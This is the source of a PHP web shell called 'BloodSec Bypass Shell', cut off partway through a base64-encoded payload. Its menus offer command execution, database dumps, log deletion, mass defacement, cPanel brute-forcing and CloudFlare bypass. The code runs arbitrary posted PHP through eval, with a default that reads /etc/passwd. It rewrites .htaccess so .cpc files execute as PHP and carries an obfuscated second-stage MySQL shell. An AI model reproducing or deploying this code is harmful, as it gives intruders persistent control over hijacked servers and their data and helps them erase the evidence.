#menu:hover {
}
.tabnet{
margin:15px auto 0 auto;
border: 1px solid #333333;
}
.main {
width:100%;
}
.gaya {
color: #428bca;
}
.inputz{
background:#111111;
border:0;
padding:2px;
border-bottom:1px solid #222222;
border-top:1px solid #222222;
}
.inputzbut{
background:#111111;
color:#428bca;
margin:0 4px;
border:1px solid #444444;
}
.inputz:hover, .inputzbut:hover{
border-bottom:1px solid #428bca;
border-top:1px solid #428bca;
}
.output {
margin:auto;
border:1px solid #428bca;
width:100%;
height:400px;
background:#000000;
padding:0 2px;
}
.cmdbox{
width:100%;
}
.head_info{
padding: 0 4px;
}
.jaya{ font-family: ;}
.b374k{
font-size:30px;
padding:0;
color:#444444;
}
.b374k_tbl{
text-align:center;
margin:0 4px 0 0;
padding:0 4px 0 0;
border-right:1px solid #333333;
}
.phpinfo table{
width:100%;
padding:0 0 0 0;
}
.phpinfo td{
background:#111111;
color:#cccccc;
padding:6px 8px;;
}
.phpinfo th, th{
background:#191919;
border-bottom:1px solid #333333;
font-weight:normal;
}
.phpinfo h2, .phpinfo h2 a{
text-align:center;
font-size:16px;
padding:0;
margin:30px 0 0 0;
background:#222222;
padding:4px 0;
}
.explore{
width:100%;
}
.explore a {
text-decoration:none;
}
.explore td{
border-bottom:1px solid #333333;
padding:0 8px;
line-height:24px;
}
.explore th{
padding:3px 8px;
font-weight:normal;
}
.explore th:hover , .phpinfo th:hover{
border-bottom:1px solid #428bca;
}
.explore tr:hover{
background:#111111;
}
.viewfile{
background:#EDECEB;
color:#000000;
margin:4px 2px;
padding:8px;
}
.sembunyi{
display:none;
padding:0;margin:0;
}
h1{
font-size:50px;
color:#81ADCF;
font-family: Orbitron,sans-serif;
top-margin:10px;
}
.btn{
width: 112px;
height: 22px;
font-size: 11px;
font-family: Orbitron, sans-serif;
border-radius:3px;
border-color:#000;
margin:0.1px;
background: #2c3e50;
background: -webkit-linear-gradient(#2c3e50, #2c3e50);
background: -moz-linear-gradient(#2c3e50, #2c3e50);
background: -o-linear-gradient(#2c3e50, #2c3e50);
background: -ms-linear-gradient(#333, #2c3e50);
background: linear-gradient(#2c3e50, #2c3e50);
-webkit-box-sizing: content-box;
-moz-box-sizing: content-box;
-o-box-sizing: content-box;
-ms-box-sizing: content-box;
}
.btn:hover {
background: #292929;
background: -webkit-linear-gradient(#393939, #292929);
background: -moz-linear-gradient(#393939, #292929);
background: -o-linear-gradient(#393939, #292929);
background: -ms-linear-gradient(#393939, #292929);
background: linear-gradient(#393939, #292929);
color: #428bca ;
outline: none;
}
.btn.title {
font-family: Abel;
font-size: 10px;
color: #fff;
line-height: 30px;
float: left;
padding: 0 10px;
text-shadow: -1px -1px 1px rgba(0, 0, 0, 0.5);
box-shadow: -1px 0 0 rgba(255, 255, 255, 0.1);
border-left: 1px solid rgba(0, 0, 0, 0.3);
}
</style>
<!-- Bootstrap core CSS -->
<link href="http://www.nycfragrance.com/csvcategoryimportver1.0.3/system/css/css/bootstrap.min.css" media="all" type="text/css" rel="stylesheet">
<link href="http://www.nycfragrance.com/csvcategoryimportver1.0.3/system/css/css/cybernetics.css" media="all" type="text/css" rel="stylesheet">
<!-- jquery -->
<script src="http://www.nycfragrance.com/csvcategoryimportver1.0.3/system/css/js/jquery-1.11.1.min.js"></script>
<script src="http://www.nycfragrance.com/csvcategoryimportver1.0.3/system/css/js/bootstrap.min.js"></script>
<!-- HTML5 shim and Respond.js IE8 support of HTML5 elements and media queries -->
<!--[if lt IE 9]>
<script src="http://www.heavygear.com/js/html5shiv-3.7.0.js"></script>
<script src="http://www.heavygear.com/js/respond-1.4.2.js"></script>
<![endif]-->
</head>
<body onLoad="document.getElementById('cmd').focus();">
<nav class="navbar navbar-default navbar-static-top" role="navigation">
<div class="container-fluid">
<div class="row row-plain lb-ticker-container">
<img src="http://www.nycfragrance.com/csvcategoryimportver1.0.3/system/css/img/header-blue-bar2.png" class="img-responsive col-xs-12 no-padding" id="header-bg"/>
<div class="col-xs-10 marquee lb-ticker">
<div class="stat text-left">
<div class="fadeText">
<div class="col-xs-3 user">
<a href="5389.html">
<div class="callsign">Current User</div>
<div class="score"><?php if($id != "") echo $buff = "".$id.""; ?></div>
</a>
</div>
<div class="col-xs-3 user">
<a href="8304.html">
<div class="callsign">PHP Version</div>
<div class="score"><?php echo $buff = "".phpversion()." on ".php_sapi_name().""; ?></div>
</a>
</div>
</div>
<div class="fadeText">
<div class="col-xs-3 user">
<a href="8356.html">
<div class="callsign">Server IP</div>
<div class="score"><?php echo $buff = "".$server_ip.""; ?></div>
</a>
</div>
<div class="col-xs-3 user">
<a href="5227.html">
<div class="callsign">Client IP </div>
<div class="score"><?php echo $buff = "".$my_ip.""; ?></div>
</a>
</div>
<div class="col-xs-3 user">
<a href="7590.html">
<div class="callsign">Admin</div>
<div class="score"><?php echo $buff = "".$admin_id.""; ?></div>
</a>
</div>
<div class="col-xs-3 user">
<a href="6952.html">
<div class="callsign">Free Disk</div>
<div class="score"><?php echo $buff = " "."".convertByte(disk_free_space("/"))." / ".convertByte(disk_total_space("/")).""; ?></div>
</a>
</div>
</div>
<div class="fadeText">
<div class="col-xs-3 user">
<a href="2575.html">
<div class="callsign">SafeMode</div>
<div class="score"><?php if($safemode) echo $buff = "ON"; else echo $buff = "OFF"; ?></div>
</a>
</div>
<div class="col-xs-3 user">
<a href="7217.html">
<div class="callsign">Disabled Functions</div>
<div class="score"><?php echo $buff = "".showdisablefunctions().""; ?></div>
</a>
</div>
</div>
</div>
</div>
<script>
var spans = $('div.fadeText');
function loop(span) {
span.fadeIn(1000).delay(3000).fadeOut(1000, function() {
loop( span.next().length ? span.next() : spans.first() );
});
}
loop( spans.first() );
</script>
<div class="col-xs-2 col-xs-offset-10 lb-title">
<h1 style="font-size:20px">Shell Version:4z</h1>
</div>
</div>
<div class="row row-plain navbar-top">
<div class="col-sm-1 col-md-1 col-md-offset-1">
<div class="navbar-header">
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="?<?php echo "y=".$pwd; ?>"><img alt="Heavy Gear Assault" src="http://oi62.tinypic.com/vifocj.jpg" width="80x" height="63px" /></a>
</div>
</div>
<div class="col-sm-8 col-sm-offset-1 col-md-offset-0">
<div class="navbar-collapse collapse">
<ul class="nav navbar-nav">
<li><a href="?<?php echo "y=".$pwd; ?>"><img src="http://www.nycfragrance.com/csvcategoryimportver1.0.3/system/css/img/hex-bullet.png" class="hex-bullet"/>Home</a></li>
<li class="dropdown">
<a href="#" class="dropdown-toggle" data-toggle="dropdown"><img src="http://www.nycfragrance.com/csvcategoryimportver1.0.3/system/css/img/hex-bullet.png" class="hex-bullet"/>System Tools<span class="caret"></span></a>
<ul class="dropdown-menu" role="menu">
<li><a href="?<?php echo "y=".$pwd; ?>&x=shell">Shell</a></li>
<li><a href="?<?php echo "y=".$pwd; ?>&x=sql">MySql</a></li>
<li><a href="?<?php echo "y=".$pwd; ?>&x=dump">Database Dump</a></li>
<li><a href="?<?php echo "y=".$pwd; ?>&x=phpinfo">Php Info</a></li>
<li><a href="?<?php echo "y=".$pwd; ?>&x=netsploit">Net Sploit</a></li>
<li><a href="?<?php echo "y=".$pwd; ?>&x=apa">Upload</a></li>
<li><a href="?<?php echo "y=".$pwd; ?>&x=mail">Email</a></li>
<li><a href="?<?php echo "y=".$pwd; ?>&x=cgi4e">CGI Telnet 2012</a></li>
<li><a href="?<?php echo "y=".$pwd; ?>&x=domain">Domain</a></li>
<li><a href="?<?php echo "y=".$pwd; ?>&x=deltlogss">Delete Logs</a></li>
<li><a href="?<?php echo "y=".$pwd; ?>&x=whmcs">WHMCS Decoder</a></li>
<li><a href="?<?php echo "y=".$pwd; ?>&x=zone">Zone-H</a></li>
<li><a href="?<?php echo "y=".$pwd; ?>&x=mass">Mass Deface</a></li>
<li><a href="?<?php echo "y=".$pwd; ?>&x=brute">Cpanel BruteForce</a></li>
<li><a href="?<?php echo "y=".$pwd; ?>&x=bypass-cf">Bypass CloudFlare</a></li>
</ul>
</li>
<li><a href="?<?php echo "y=".$pwd; ?>&x=about"><img src="http://www.nycfragrance.com/csvcategoryimportver1.0.3/system/css/img/hex-bullet.png" class="hex-bullet"/>About</a></li>
<li class="dropdown">
<a href="#" class="dropdown-toggle" data-toggle="dropdown"><img src="http://www.nycfragrance.com/csvcategoryimportver1.0.3/system/css/img/hex-bullet.png" class="hex-bullet"/>System Options<span class="caret"></span></a>
<ul class="dropdown-menu" role="menu">
<li><a href="?<?php echo "y=".$pwd; ?>&x=sqli-scanner">SQL Scan</a></li>
<li><a href="?<?php echo "y=".$pwd; ?>&x=hashid">Hash Identify</a></li>
<li><a href="?<?php echo "y=".$pwd; ?>&x=adfin">Admin Finder</a></li>
<li><a href="?<?php echo "y=".$pwd; ?>&x=port-sc">Port Scan</a></li>
<li><a href="?<?php echo "y=".$pwd; ?>&x=python">Python</a></li>
<li><a href="?<?php echo "y=".$pwd; ?>&x=symlink">Symlink</a></li>
<li><a href="?<?php echo "y=".$pwd; ?>&x=config">Config</a></li>
<li><a href="?<?php echo "y=".$pwd; ?>&x=bypass">Bypass</a></li>
<li><a href="?<?php echo "y=".$pwd; ?>&x=string">Script Encode</a></li>
<li><a href="?<?php echo "y=".$pwd; ?>&x=whois">Website Whois</a></li>
</ul>
</li>
<li class="dropdown">
<a href="#" class="dropdown-toggle" data-toggle="dropdown"><img src="http://www.nycfragrance.com/csvcategoryimportver1.0.3/system/css/img/hex-bullet.png" class="hex-bullet"/>Account <span class="caret"></span></a>
<ul class="dropdown-menu" role="menu">
<li><a href="?<?php echo "y=".$pwd; ?>&x=logout">Logout</a></li>
</ul>
</li>
</ul>
</div>
<!--/.nav-collapse -->
</div>
</div>
</div>
</nav>
<!------->
<center>
<div class="main">
<!-- head info start here -->
<div class="head_info" ><center>
<h1>BloodSec</span> Bypass Shell</h1>
<?php
echo $buff = "Kernel Version : <b><span style='font-size:10px'>".$system."</b><br>";
echo $buff = "Software : <b><span style='font-size:10px'>".$software."</b> <br>";
?><span ><span style="color:#2c3e50;">__________________________________________________________________</span>
<?php
echo $buff = "<center><font color=FF0000 ><b><span style='font-size:10px'>".$letters." > <span style='font-size:10px'>".$pwdurl."</b></font>";
?><html>
<head>
</head>
<body>
</html>
</span></a><html>
<head>
</head>
<body>
</html>
</div>
<!-- head info end here -->
<!-- menu start -->
<center><div id="menu">
<audio autoplay> <source src="http://www.soundrangers.com/demos/interface/glossy/glossy_click_10.mp3" type="audio/mpeg"></audio>
</div></center>
<!-- menu end -->
<?php
@ini_set('display_errors', 0);
if(isset($_GET['x']) && ($_GET['x'] == 'php')){ ?>
<form action="?y=<?php echo $pwd; ?>&x=php" method="post">
<table class="cmdbox">
<tr><td>
<textarea class="output" name="cmd" id="cmd">
<?php
if(isset($_POST['submitcmd'])) {
echo eval(magicboom($_POST['cmd']));
}
else echo "echo file_get_contents('/etc/passwd');";
?>
</textarea>
<tr><td><input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitcmd" /></td></tr></form>
</table>
</form>
<?php }
elseif(isset($_GET['x']) && ($_GET['x'] == 'sql'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=sql" method="post">
<?php
echo "<center/><br/><b><font color=#428bca>+--==[ Mysql Interface ]==--+</font></b><br><br>";
mkdir('mysql', 0755);
chdir('mysql');
$akses = ".htaccess";
$buka_lah = "$akses";
$buka = fopen ($buka_lah , 'w') or die ("Error cuyy!");
$metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-php .cpc
";
fwrite ( $buka , $metin ) ;
fclose ($buka);
$sqlshell = 'PD8NCiRQQVNTV09SRCA9ICJkNHJrajFuIjsNCiRVU0VSTkFNRSA9ICJibG9vZHNlY3VyaXR5IjsNCmlmICggZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0JykgKSB7DQoJJG9ub2ZmID0gaW5pX2dldCgncmVnaXN0ZXJfZ2xvYmFscycpOw0KfSBlbHNlIHsNCgkkb25vZmYgPSBnZXRfY2ZnX3ZhcigncmVnaXN0ZXJfZ2xvYmFscycpOw0KfQ0KaWYgKCRvbm9mZiAhPSAxKSB7DQoJQGV4dHJhY3QoJEhUVFBfU0VSVkVSX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfQ09PS0lFX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfUE9TVF9GSUxFUywgRVhUUl9TS0lQKTsNCglAZXh0cmFjdCgkSFRUUF9QT1NUX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfR0VUX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfRU5WX1ZBUlMsIEVYVFJfU0tJUCk7DQp9DQoNCmZ1bmN0aW9uIGxvZ29uKCkgew0KCWdsb2JhbCAkUEhQX1NFTEY7DQoJc2V0Y29va2llKCAibXlzcWxfd2ViX2FkbWluX3VzZXJuYW1lIiApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIgKTsNCglzZXRjb29raWUoICJteXNxbF93ZWJfYWRtaW5faG9zdG5hbWUiICk7DQoJZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgaGVpZ2h0PTEwMCU+PHRyPjx0ZD48Y2VudGVyPlxuIjsNCgllY2hvICI8dGFibGUgY2VsbHBhZGRpbmc9Mj48dHI+PHRkPjxjZW50ZXI+XG4iOw0KCWVjaG8gIjx0YWJsZSBjZWxscGFkZGluZz0yMD48dHI+PHRkPjxjZW50ZXI+XG4iOw0KCWVjaG8gIjxoMT5NeVNRTCBJbnRlcmZhY2UgQnkgRDRya2oxbjwvaDE+XG4iOw0KCWVjaG8gIjxmb3JtIGFjdGlvbj0nJFBIUF9TRUxGJz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWJHOW5iMjVmYzNWaWJXbDA+XG4iOw0KCWVjaG8gIjx0YWJsZSBjZWxscGFkZGluZz01IGNlbGxzcGFjaW5nPTE+XG4iOw0KCWVjaG8gIjx0cj48dGQgY2xhc3M9XCJuZXdcIj5Ib3N0bmFtZSA8L3RkPjx0ZD4gPGlucHV0IHR5cGU9dGV4dCBuYW1lPWhvc3RuYW1lIHZhbHVlPSdsb2NhbGhvc3QnPjwvdGQ+PC90cj5cbiI7DQoJZWNobyAiPHRyPjx0ZCBjbGFzcz1cIm5ld1wiPlVzZXJuYW1lIDwvdGQ+PHRkPiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9dXNlcm5hbWU+PC90ZD48L3RyPlxuIjsNCgllY2hvICI8dHI+PHRkIGNsYXNzPVwibmV3XCI+UGFzc3dvcmQgPC90ZD48dGQ+IDxpbnB1dCB0eXBlPXBhc3N3b3JkIG5hbWU9cGFzc3dvcmQ+PC90ZD48L3RyPlxuIjsNCgllY2hvICI8L3RhYmxlPjxwPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0VudGVyJz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9cmVzZXQgdmFsdWU9J0NsZWFyJz48YnI+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQoJZWNobyAiPC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+XG4iOw0KCWVjaG8gIjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPlxuIjsNCgllY2hvICI8cD48aHIgd2lkdGg9MzAwPlxuIjsNCgllY2hvICI8L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7DQp9DQoNCmZ1bmN0aW9uIGxvZ29uX3N1Ym1pdCgpIHsNCglnbG9iYWwgJHVzZXJuYW1lLCAkcGFzc3dvcmQsICRob3N0bmFtZSAsJFBIUF9TRUxGOw0KCWlmKCRob3N0bmFtZSA9PScnKQ0KCQkkaG9zdG5hbWUgPSAnbG9jYWxob3N0JzsNCglzZXRjb29raWUoICJteXNxbF93ZWJfYWRtaW5fdXNlcm5hbWUiLCAkdXNlcm5hbWUgKTsNCglzZXRjb29raWUoICJteXNxbF93ZWJfYWRtaW5fcGFzc3dvcmQiLCAkcGFzc3dvcmQgKTsNCglzZXRjb29raWUoICJteXNxbF93ZWJfYWRtaW5faG9zdG5hbWUiLCAkaG9zdG5hbWUgKTsNCgllY2hvICI8TUVUQSBIVFRQLUVRVUlWPVJlZnJlc2ggQ09OVEVOVD0nMDsgVVJMPSRQSFBfU0VMRj9hY3Rpb249YkdsemRFUkNjdz09Jz4iOw0KfQ0KDQpmdW5jdGlvbiBlY2hvUXVlcnlSZXN1bHQoKSB7DQoJZ2xvYmFsICRxdWVyeVN0ciwgJGVyck1zZzsNCglpZiggJGVyck1zZyA9PSAiIiApICRlcnJNc2cgPSAiU3VjY2VzcyI7DQoJaWYoICRxdWVyeVN0ciAhPSAiIiApIHsNCgkJZWNobyAiPHRhYmxlIGNlbGxwYWRkaW5nPTU+XG4iOw0KCQllY2hvICI8dHI+PHRkPlF1ZXJ5PC90ZD48dGQ+JHF1ZXJ5U3RyPC90ZD48L3RyPlxuIjsNCgkJZWNobyAiPHRyPjx0ZD5SZXN1bHQ8L3RkPjx0ZD4kZXJyTXNnPC90ZD48L3RyPlxuIjsNCgkJZWNobyAiPC90YWJsZT48cD5cbiI7DQoJfQ0KfQ0KDQpmdW5jdGlvbiBsaXN0RGF0YWJhc2VzKCkgew0KCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRQSFBfU0VMRjsNCgllY2hvICI8aDE+RGF0YWJhc2VzIExpc3Q8L2gxPlxuIjsNCgllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRic+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1jcmVhdGVEQj5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9dGV4dCBuYW1lPWRibmFtZT5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdDcmVhdGUgRGF0YWJhc2UnPlxuIjsNCgllY2hvICI8L2Zvcm0+XG4iOw0KCWVjaG8gIjxocj5cbiI7DQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7DQoJJHBEQiA9IG15c3FsX2xpc3RfZGJzKCAkbXlzcWxIYW5kbGUgKTsNCgkkbnVtID0gbXlzcWxfbnVtX3Jvd3MoICRwREIgKTsNCglmb3IoICRpID0gMDsgJGkgPCAkbnVtOyAkaSsrICkgew0KCQkkZGJuYW1lID0gbXlzcWxfZGJuYW1lKCAkcERCLCAkaSApOw0KCQllY2hvICI8dHI+XG4iOw0KCQllY2hvICI8dGQ+JGRibmFtZTwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1saXN0VGFibGVzJmRibmFtZT0kZGJuYW1lJz5UYWJsZXM8L2E+PC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWRyb3BEQiZkYm5hbWU9JGRibmFtZScgb25DbGljaz1cInJldHVybiBjb25maXJtKCdEcm9wIERhdGFiYXNlIFwnJGRibmFtZVwnPycpXCI+RHJvcDwvYT48L3RkPlxuIjsNCgkJZWNobyAiPHRkPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHVtcERCJmRibmFtZT0kZGJuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0R1bXAgRGF0YWJhc2UgXCckZGJuYW1lXCc/JylcIj5EdW1wPC9hPjwvdGQ+XG4iOw0KCQllY2hvICI8L3RyPlxuIjsNCgl9DQoJZWNobyAiPC90YWJsZT5cbiI7DQp9DQoNCmZ1bmN0aW9uIGNyZWF0ZURhdGFiYXNlKCkgew0KCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRkYm5hbWUsICRQSFBfU0VMRjsNCglteXNxbF9jcmVhdGVfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCWxpc3REYXRhYmFzZXMoKTsNCn0NCg0KZnVuY3Rpb24gZHJvcERhdGFiYXNlKCkgew0KCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRkYm5hbWUsICRQSFBfU0VMRjsNCglteXNxbF9kcm9wX2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglsaXN0RGF0YWJhc2VzKCk7DQp9DQoNCmZ1bmN0aW9uIGxpc3RUYWJsZXMoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJFBIUF9TRUxGOw0KCWVjaG8gIjxoMT5UYWJsZXMgTGlzdDwvaDE+XG4iOw0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWU8L3A+XG4iOw0KCWVjaG9RdWVyeVJlc3VsdCgpOw0KCWVjaG8gIjxmb3JtIGFjdGlvbj0nJFBIUF9TRUxGJz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWNyZWF0ZVRhYmxlPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kYm5hbWUgdmFsdWU9JGRibmFtZT5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9dGV4dCBuYW1lPXRhYmxlbmFtZT5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdDcmVhdGUgVGFibGUnPlxuIjsNCgllY2hvICI8L2Zvcm0+XG4iOw0KCWVjaG8gIjxmb3JtIGFjdGlvbj0nJFBIUF9TRUxGJz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPXF1ZXJ5PlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kYm5hbWUgdmFsdWU9JGRibmFtZT5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9dGV4dCBzaXplPTEyMCBuYW1lPXF1ZXJ5U3RyPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J1F1ZXJ5Jz5cbiI7DQoJZWNobyAiPC9mb3JtPlxuIjsNCgllY2hvICI8aHI+XG4iOw0KCSRwVGFibGUgPSBteXNxbF9saXN0X3RhYmxlcyggJGRibmFtZSApOw0KCWlmKCAkcFRhYmxlID09IDAgKSB7DQoJCSRtc2cgID0gbXlzcWxfZXJyb3IoKTsNCgkJZWNobyAiPGgzPkVycm9yIDogJG1zZzwvaDM+PHA+XG4iOw0KCQlyZXR1cm47DQoJfQ0KCSRudW0gPSBteXNxbF9udW1fcm93cyggJHBUYWJsZSApOw0KCWVjaG8gIjx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTU+XG4iOw0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSR0YWJsZW5hbWUgPSBteXNxbF90YWJsZW5hbWUoICRwVGFibGUsICRpICk7DQoJCWVjaG8gIjx0cj5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIiR0YWJsZW5hbWVcbiI7DQoJCWVjaG8gIjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+XG4iOw0KCQllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXZpZXdTY2hlbWEmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUnPlNjaGVtYTwvYT5cbiI7DQoJCWVjaG8gIjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+7PgXYiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5EYXRhPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHJvcFRhYmxlJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0Ryb3AgVGFibGUgXCckdGFibGVuYW1lXCc/JylcIj5Ecm9wPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHVtcFRhYmxlJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0R1bXAgVGFibGUgXCckdGFibGVuYW1lXCc/JylcIj5EdW1wPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPiI7DQp9DQoNCmZ1bmN0aW9uIGNyZWF0ZVRhYmxlKCkgew0KDQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJJHF1ZXJ5U3RyID0gIkNSRUFURSBUQUJMRSAkdGFibGVuYW1lICggbm8gSU5UICkiOw0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJbXlzcWxfcXVlcnkoICRxdWVyeVN0ciwgJG15c3FsSGFuZGxlICk7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoJbGlzdFRhYmxlcygpOw0KfQ0KDQpmdW5jdGlvbiBkcm9wVGFibGUoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJJHF1ZXJ5U3RyID0gIkRST1AgVEFCTEUgJHRhYmxlbmFtZSI7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyLCAkbXlzcWxIYW5kbGUgKTsNCgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsNCglsaXN0VGFibGVzKCk7DQp9DQoNCmZ1bmN0aW9uIHZpZXdTY2hlbWEoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJZWNobyAiPGgxPlRhYmxlIFNjaGVtYTwvaDE+XG4iOw0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCgllY2hvUXVlcnlSZXN1bHQoKTsNCgllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWFkZEZpZWxkJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5BZGQgRmllbGQ8L2E+IHwgXG4iOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5WaWV3IERhdGE8L2E+XG4iOw0KCWVjaG8gIjxocj5cbiI7DQoJJHBSZXN1bHQgPSBteXNxbF9kYl9xdWVyeSggJGRibmFtZSwgIlNIT1cgZmllbGRzIEZST00gJHRhYmxlbmFtZSIgKTsNCgkkbnVtID0gbXlzcWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7DQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7DQoJZWNobyAiPHRyPlxuIjsNCgllY2hvICI8dGg+RmllbGQ8L3RoPlxuIjsNCgllY2hvICI8dGg+VHlwZTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5OdWxsPC90aD5cbiI7DQoJZWNobyAiPHRoPktleTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5EZWZhdWx0PC90aD5cbiI7DQoJZWNobyAiPHRoPkV4dHJhPC90aD5cbiI7DQoJZWNobyAiPHRoIGNvbHNwYW49Mj5BY3Rpb248L3RoPlxuIjsNCgllY2hvICI8L3RyPlxuIjsNCg0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2FycmF5KCAkcFJlc3VsdCApOw0KCQllY2hvICI8dHI+XG4iOw0KCQllY2hvICI8dGQ+Ii4kZmllbGRbIkZpZWxkIl0uIjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+Ii4kZmllbGRbIlR5cGUiXS4iPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiTnVsbCJdLiI8L3RkPlxuIjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJLZXkiXS4iPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiRGVm